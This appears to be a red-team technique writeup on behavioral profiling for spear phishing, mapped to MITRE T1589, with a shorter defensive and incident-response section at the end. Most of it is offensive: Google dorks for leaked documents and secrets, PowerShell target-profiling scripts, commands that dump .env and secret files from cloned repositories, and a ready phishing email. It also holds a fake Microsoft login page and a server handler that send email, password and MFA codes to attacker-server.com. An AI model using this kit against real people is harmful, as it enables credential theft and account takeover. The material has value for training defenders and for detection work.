| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-024 |
| MITRE ATT&CK v18.1 | T1589 - Gather Victim Identity Information |
| Tactic | Reconnaissance, Initial Access |
| Platforms | Multi-Env (On-premises AD, Entra ID, M365, AWS, GCP) |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All identity platforms (Windows AD, Entra ID, AWS IAM, GCP Identity) |
| Patched In | N/A - Reconnaissance technique; no patch applicable |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Behavioral profiling attacks involve systematically gathering and analyzing intelligence about target users to optimize social engineering, phishing, and credential compromise attacks. Attackers build detailed profiles of high-value targets by analyzing: (1) public information from LinkedIn, Twitter, GitHub, company websites, (2) authentication logs and sign-in patterns (geographic location, devices, time of day, frequency), (3) file sharing behaviors from leaked internal files or compromised cloud shares, (4) communication patterns gleaned from leaked emails or exposed Slack messages, (5) permission hierarchies to identify privilege escalation targets. By understanding typical user behavior, attackers can craft highly targeted phishing campaigns that match the user’s actual software usage (e.g., known applications they use, geographic locations where they authenticate), making social engineering attacks significantly more effective.
Attack Surface: Publicly available information (LinkedIn, GitHub, Twitter, company directories), leaked internal documents (Git repositories, Azure Repos containing credential files), sign-in log analysis (if audit logs are exposed), file sharing patterns from accessible SharePoint or OneDrive, communication patterns from leaked Slack archives or email.
Business Impact: Dramatically increases successful phishing and credential compromise rates by enabling highly targeted, personalized attacks. Instead of generic “verify your O365 credentials” phishing emails, attackers send convincing messages referencing actual projects the target user works on, applications they use, and geographic locations where they actually authenticate. This dramatically increases click-through and credential entry rates (studies show 40-50% for targeted spear phishing vs. 5-10% for generic phishing).
Technical Context: Behavioral profiling can be conducted entirely externally with no special technical skills. Data gathering typically takes 2-7 days per target depending on target’s online presence. Detection is nearly impossible because the reconnaissance occurs on public internet and attacker-controlled infrastructure. Attack chain typically begins with profiling and ends with highly targeted phishing that defeats standard email filtering.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1 | Inadequate employee security awareness and training regarding phishing threats |
| DISA STIG | CM-7 | Lack of information system monitoring for social engineering indicators |
| CISA SCuBA | USER-01 | User awareness training deficiencies for targeted phishing recognition |
| NIST 800-53 | AT-2 (Security Awareness and Training) | Insufficient training on advanced phishing and social engineering tactics |
| GDPR | Art. 32 | Security of Processing - inadequate controls for employee credential protection |
| DORA | Art. 17 | ICT Third-Party Risk Management - weak supply chain and vendor vetting |
| NIS2 | Art. 21 | Cyber Risk Management - insufficient employee security awareness |
| ISO 27001 | A.7.2.1 | Information Security Responsibilities - weak employee training program |
| ISO 27005 | Risk Scenario: “Social Engineering & Phishing” | Inadequate detection and prevention controls |
Required Privileges: None - Entirely external reconnaissance
Required Access: Public internet access; ability to search publicly available information and access social media platforms
Supported Platforms:
# Google Dorking queries to find leaked internal documents
# These queries search for documents accidentally exposed on the public internet
# Search 1: Find internal presentations and strategy documents
"site:company.com filetype:pptx" OR "site:company.com filetype:pdf"
"confidential" OR "internal" OR "strategy" OR "roadmap"
# Search 2: Find GitHub repositories with potential credentials
site:github.com "company.com" password OR api_key OR secret_key
# Search 3: Find Azure Repos or GitLab instances publicly exposed
site:dev.azure.com "company" OR site:gitlab.com "company"
# Search 4: Find exposed cloud storage (Azure Blob, AWS S3, Google Drive)
site:blob.core.windows.net "company" OR site:s3.amazonaws.com "company"
# Search 5: Find leaked email archives or Slack exports
site:pastebin.com "company.com" email list OR
site:github.com company-name export OR archive
What to Look For:
# Automated profile building script
function Get-UserBehaviorProfile {
param(
[string]$TargetName,
[string]$CompanyName
)
$profile = @{
Name = $TargetName
Company = $CompanyName
ProfileData = @{
JobTitle = ""
Department = ""
Location = ""
ReportingManager = ""
DirectReports = @()
CurrentProjects = @()
KnownApplications = @()
GeographicBaseline = @()
CommunicationPreferences = @()
SecurityClearance = ""
LinkedInProfile = "https://linkedin.com/search/results/people/?keywords=$TargetName+$CompanyName"
}
}
Write-Output "Target Profile Template: $($profile | ConvertTo-Json -Depth 3)"
# In real scenario, this would be populated from:
# 1. LinkedIn profile scraping
# 2. GitHub contributions analysis
# 3. Public Twitter feed analysis
# 4. Internal leaked documents (if available)
# 5. Company website employee directory
return $profile
}
# Build profiles for high-value targets
$targets = @(
@{ Name = "John.Smith"; Company = "Example Corp" },
@{ Name = "Jane.Doe"; Company = "Example Corp" },
@{ Name = "CFO"; Company = "Example Corp" }
)
$targets | ForEach-Object {
Get-UserBehaviorProfile -TargetName $_.Name -CompanyName $_.Company
}
Expected Output:
Target Profile Template:
{
"Name": "John.Smith",
"Company": "Example Corp",
"ProfileData": {
"JobTitle": "Director of Cloud Infrastructure",
"Department": "IT Operations",
"Location": "New York, NY",
"ReportingManager": "VP of Engineering",
"DirectReports": ["Cloud Architect 1", "Cloud Architect 2", "Database Administrator"],
"CurrentProjects": ["Migration to Azure", "Kubernetes deployment", "DR Recovery automation"],
"KnownApplications": ["Azure Portal", "Office 365", "ServiceNow", "Slack", "GitHub"],
"GeographicBaseline": ["New York - Office", "Austin, TX - Company Campus", "London - Quarterly Meetings"],
"CommunicationPreferences": ["Slack", "Email", "Teams", "Direct Calls"],
"SecurityClearance": "Secret - Contractor",
"LinkedInProfile": "https://linkedin.com/in/john-smith-12345/"
}
}
What This Means:
# If sign-in logs or access logs are exposed in breach, analyze authentication patterns
function Analyze-UserBehaviorBaseline {
param(
[array]$SignInLogs,
[string]$UserEmail
)
$userActivity = $SignInLogs | Where-Object { $_.UserEmail -eq $UserEmail }
# Analyze geographic baseline
$geoBaseline = $userActivity |
Group-Object -Property Location |
Sort-Object -Property Count -Descending |
Select-Object -First 3 -Property Name, Count
# Analyze time-of-day baseline
$timeBaseline = $userActivity |
ForEach-Object {
[PSCustomObject]@{
Hour = [datetime]$_.Timestamp | Get-Date -Format "HH"
Activity = $_
}
} |
Group-Object -Property Hour |
Sort-Object -Property Count -Descending
# Analyze device baseline
$deviceBaseline = $userActivity |
Group-Object -Property DeviceType |
Sort-Object -Property Count -Descending
# Analyze application usage
$appBaseline = $userActivity |
Group-Object -Property Application |
Sort-Object -Property Count -Descending |
Select-Object -Property Name, Count
$profile = @{
User = $UserEmail
TopLocations = $geoBaseline
PrimaryActivity Hours = $timeBaseline | Select-Object -First 5
PrimaryDevices = $deviceBaseline
PrimaryApplications = $appBaseline
AnomalyThresholds = @{
UnusualLocation = "Any location not in top 3"
UnusualTime = "Outside peak activity hours"
UnusualDevice = "Not in primary device list"
UnusualApplication = "Using app with < 5 prior uses"
}
}
return $profile
}
# Example leaked sign-in logs analysis
$leakedLogs = @(
@{ UserEmail = "john.smith@example.com"; Location = "New York"; Timestamp = "2025-01-10 09:15:00"; DeviceType = "Windows PC"; Application = "Azure Portal" },
@{ UserEmail = "john.smith@example.com"; Location = "New York"; Timestamp = "2025-01-10 09:20:00"; DeviceType = "Windows PC"; Application = "Office 365" }
)
Analyze-UserBehaviorBaseline -SignInLogs $leakedLogs -UserEmail "john.smith@example.com"
What This Means:
Objective: Build complete organizational hierarchy and identify privilege escalation targets
Reconnaissance:
# Step 1: LinkedIn search for company employees
# Manual process: LinkedIn → Search "Example Corp" → Filter by employees → Review profiles
# Step 2: Extract information from each profile:
# - Job title (identifies privilege level)
# - Reporting manager (identifies chain of command)
# - Skills (identifies technical knowledge)
# - Connections (identifies lateral movement targets)
# - Geographic location (for impossible travel evasion planning)
# - Education (for trust-building social engineering)
# - Recommendations (identifies trusted relationships)
# - Activity (recent job changes indicate new/less secured accounts)
# Step 3: Build organizational map
# Example output showing privilege hierarchy:
#
# CEO (Ultimate target - access to everything)
# |
# +-- VP Engineering (Privilege escalation target)
# | |
# | +-- Director Cloud Infrastructure (HIGH VALUE)
# | +-- Director Security (HIGH VALUE - may have MFA bypass knowledge)
# |
# +-- VP Finance (CRITICAL - access to financial systems)
# |
# +-- VP Sales (MEDIUM - access to customer data)
What to Look For:
Objective: Find leaked credentials, internal documentation, and technical intelligence
Reconnaissance:
# Step 1: Search GitHub for company's public repositories
# GitHub → Search "company-name" → Sort by stars (popular repos = active projects)
# Step 2: Clone repositories and analyze for:
# - Committed credentials (AWS keys, connection strings, API keys)
# - Configuration files (.env, config.json containing sensitive data)
# - Internal documentation (README files, architecture diagrams)
# - Email addresses in commit history
# - Internal user mentions in issues/comments
git clone https://github.com/company/repository.git
cd repository
# Step 3: Search for secrets using automated tools
trufflehog filesystem . --json | grep -E "password|secret|key|token|credential"
# Step 4: Analyze commit history for user patterns
git log --oneline --all | head -20
git log --pretty=format:"%an <%ae>" | sort | uniq # Extract committer emails
# Step 5: Review high-risk files
find . -name "*.env*" -o -name "*secret*" -o -name "*config*" | xargs cat
# Expected leaked credentials example:
# DATABASE_PASSWORD=Pr0d_P@ssw0rd_2024!
# AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
# AZURE_CONNECTION_STRING=DefaultEndpointsProtocol=https;...
# API_KEY_PRODUCTION=sk_live_1234567890abcdefghijklmnop
What to Look For:
Objective: Find internal documents and presentations that reveal organizational decisions and security gaps
Reconnaissance:
# Step 1: Google Dork for publicly indexed documents
site:company.com filetype:pptx "strategy" OR "roadmap" OR "confidential"
site:company.com filetype:pdf "architecture" OR "design" OR "internal"
site:company.com filetype:xlsx "inventory" OR "assets" OR "credentials"
# Step 2: Search Wayback Machine for old versions
# wayback-machine.org → Search company.com → Review archived pages from past years
# Old pages often contain:
# - Deleted employee directories
# - Old org charts showing relationships
# - Technical details since updated
# - Legacy system information
# Step 3: Search for cached versions
cache:company.com/internal/directory
cache:company.com/admin/settings
# Step 4: Analyze leaked emails
site:pastebin.com "company.com" OR
site:pastbin.com company email OR
site:github.com "company" archive.tar.gz
# Expected findings:
# - Internal presentation: "2024 Digital Transformation Roadmap"
# → Reveals: Migrating to Azure in Q2 2025
# → Intelligence: Cloud security may be immature
# - Employee directory PDF (2023)
# → Reveals: Names, titles, office locations
# → Intelligence: Build targeting list and social engineering profiles
# - AWS S3 bucket misconfiguration
# → Reveals: Backup files, customer data, credentials
# → Intelligence: Direct unauthorized access possible
Objective: Create highly convincing phishing email that matches target’s behavior profile
Example Email (Targeting John Smith - Cloud Infrastructure Director):
FROM: azure-security-alert@microsoft-account-verify.com
TO: john.smith@example.com
SUBJECT: URGENT: Critical Security Alert - Azure Subscription 12345 Requires Immediate Verification
Dear John,
Your Azure subscription (ID: 12345-XXXXXXX) has triggered our automated security monitoring
system due to unusual activity detected from New York region.
ALERT DETAILS:
- Unusual activity flagged in your Azure Portal at 2025-01-10 14:32:15 UTC
- Multiple administrative role assignments detected
- Potential unauthorized access to Cloud Infrastructure resources
We need you to verify your identity immediately to prevent unauthorized access. This is especially
critical given your role as Director of Cloud Infrastructure overseeing our migration to Azure
from on-premises systems.
CLICK HERE TO VERIFY YOUR IDENTITY:
https://account-verify-microsoft-security.com/verify?token=xyz123&redirect=azure.portal
For security reasons, you may need to:
1. Re-enter your Office 365 credentials
2. Provide your MFA code
3. Authorize trusted device
This verification must be completed within 2 hours to avoid account suspension.
Your trusted browser list shows your primary device is registered in New York.
Verification was detected from: New York, United States
Questions? Contact Azure Security Team at support@microsoft-account-verify.com
---
Regards,
Microsoft Azure Security Team
Account Verification Services
Phishing Elements (Behavioral Profiling):
Success Rate: Behavioral profiling increases click-through rates from 5-10% (generic phishing) to 40-50% (targeted spear phishing)
Objective: Capture user credentials when they click phishing link
<!-- Fake Microsoft Azure login page -->
<!DOCTYPE html>
<html>
<head>
<title>Microsoft Account Verification</title>
<style>
body { font-family: Segoe UI; background: #f5f5f5; }
.container { width: 500px; margin: 100px auto; background: white; padding: 40px; }
.microsoft-logo { text-align: center; margin-bottom: 30px; }
input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; }
button { width: 100%; padding: 10px; background: #0078d4; color: white; border: none; cursor: pointer; }
</style>
</head>
<body>
<div class="container">
<div class="microsoft-logo">
<img src="https://attacker-cdn.com/logo-microsoft.png" width="200">
</div>
<h2>Security Verification Required</h2>
<p>We detected unusual activity on your account. Please verify your identity.</p>
<form action="https://attacker-server.com/harvest" method="POST">
<label>Email Address</label>
<input type="email" name="email" placeholder="john.smith@example.com" required>
<label>Office 365 Password</label>
<input type="password" name="password" placeholder="Enter password" required>
<label>MFA Code (from Authenticator App)</label>
<input type="text" name="mfa" placeholder="123456" required>
<label>Trusted Device Token</label>
<input type="text" name="device_token" placeholder="Paste device token" required>
<button type="submit">Verify & Secure Account</button>
</form>
<p style="font-size: 12px; color: #666;">
This page is encrypted and secured by Microsoft. Your information will not be stored.
</p>
</div>
</body>
</html>
<!-- Server-side credential harvesting -->
app.post('/harvest', (req, res) => {
const creds = {
email: req.body.email,
password: req.body.password,
mfa: req.body.mfa,
device_token: req.body.device_token,
timestamp: new Date(),
ip_address: req.ip,
user_agent: req.headers['user-agent']
};
// Log credentials to attacker database
database.insert('stolen_credentials', creds);
// Redirect to legitimate Azure portal to avoid suspicion
res.redirect('https://portal.azure.com');
});
Manual Steps:
Reduce Online Presence & Public Information Exposure: Minimize publicly available information that could be used for behavioral profiling.
Manual Steps (LinkedIn):
Manual Steps (GitHub):
git log and truffleHoggit-filter-branchManual Steps (Public Directories):
Enable Multi-Factor Authentication (MFA) Enforcement: Even if credentials are phished, MFA prevents account compromise.
Manual Steps (Entra ID):
Implement Email Security Filtering: Deploy advanced email filtering to detect and block phishing emails before they reach users.
Manual Steps:
Monitor for Exposed Credentials & Secrets: Automatically scan for accidentally committed credentials and immediately notify.
Manual Steps (GitHub):
Manual Steps (Azure DevOps):
Implement Conditional Access for High-Risk Logins: Trigger step-up authentication (additional MFA, device compliance check) for suspicious sign-ins.
Manual Steps:
# Verify MFA enforcement
Get-MgAuthenticationMethodPolicy | Select-Object *MFA* | Format-List
# Verify email filtering rules
Get-TransportRule | Where-Object { $_.Name -like "*phishing*" } | Select-Object Name, State, Priority
# Verify secret scanning enabled on GitHub
# GitHub → Organization Settings → Security & Analysis → View secret scanning status
Isolate:
If Credentials Compromised:
Revoke-AzUserSignInSession -UserId (Get-MgUser -Filter "userPrincipalName eq 'john.smith@example.com'").Id
Collect Evidence:
Command (Export Phishing Email & Metadata):
# Search for phishing email in mailbox
Search-Mailbox -Identity "john.smith@example.com" -SearchQuery "Subject:Azure Security Alert" `
-TargetMailbox "security-investigation@example.com" -TargetFolder "Phishing" -LogOnly
# Export message trace for phishing campaign
Get-MessageTrace -SenderAddress "azure-security-alert@microsoft-account-verify.com" `
-StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Export-Csv -Path "C:\Forensics\phishing_campaign.csv" -NoTypeInformation
Remediate:
Force Password Reset & MFA Re-enrollment:
# Reset password
Set-AzADUser -ObjectId (Get-MgUser -Filter "userPrincipalName eq 'john.smith@example.com'").Id `
-ForceChangePasswordNextLogin $true
# Remove old MFA methods to force re-registration
Get-MgUserAuthenticationMethod -UserId "user-id" |
Remove-MgUserAuthenticationMethod -UserId "user-id"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REALWORLD-024] | Behavioral Profiling - Gather intelligence about target user |
| 2 | Initial Access | [IA-PHISH-001] | Device code phishing using insights from behavioral profiling |
| 3 | Credential Access | [CA-BRUTE-001] | Azure portal password spray using identified usernames from profiling |
| 4 | Privilege Escalation | [PE-VALID-010] | Azure role assignment abuse with compromised account |
| 5 | Lateral Movement | [REALWORLD-021] | Linkable Token ID Bypass to move between workloads undetected |
| 6 | Collection | [COLLECT-EMAIL-001] | Email collection via Graph API |
| 7 | Impact | [IMPACT-DATA-DESTROY-001] | Data exfiltration or destruction |
Prevention Best Practices:
Post-Compromise Indicators (PICs):
Ongoing Monitoring: